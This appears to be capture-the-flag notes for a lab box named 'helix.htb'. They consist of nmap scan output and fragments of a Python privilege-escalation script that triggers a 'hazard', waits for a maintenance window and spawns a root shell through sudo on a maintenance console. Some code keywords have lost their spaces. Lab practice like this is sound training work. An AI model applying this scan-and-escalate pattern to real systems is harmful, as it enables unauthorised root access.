$ nmap -sC -sV -Pn 10.129.181.232 Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-17 14:20 +0900 Nmap scan report for 10.129.181.232 Host is up (0.092s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA) |_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://helix.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 44.49 seconds
defspawn_root_shell(): """Replace current process with root shell""" print("\n[+] Spawning root shell via helix-maint-console...") print("[!] Type 'exit' to return to operator\n" + "="*50) # Replace current process with sudo command (inherits terminal) os.execvp("sudo", ["sudo", "/usr/local/sbin/helix-maint-console"])
asyncdefmain(): print("[*] Helix Root Exploit - Single Terminal Mode\n") # First try to trigger the hazard triggered = await trigger_hazard() ifnot triggered: print("\n[*] Manual trigger incomplete — checking if window already open...") # Give safety controller time to open window print("\n[*] Waiting for maintenance window to open...") for i in range(15): await asyncio.sleep(1) print(f" Checking... ({i+1}/15)") # Spawn root shell (replaces this script) spawn_root_shell()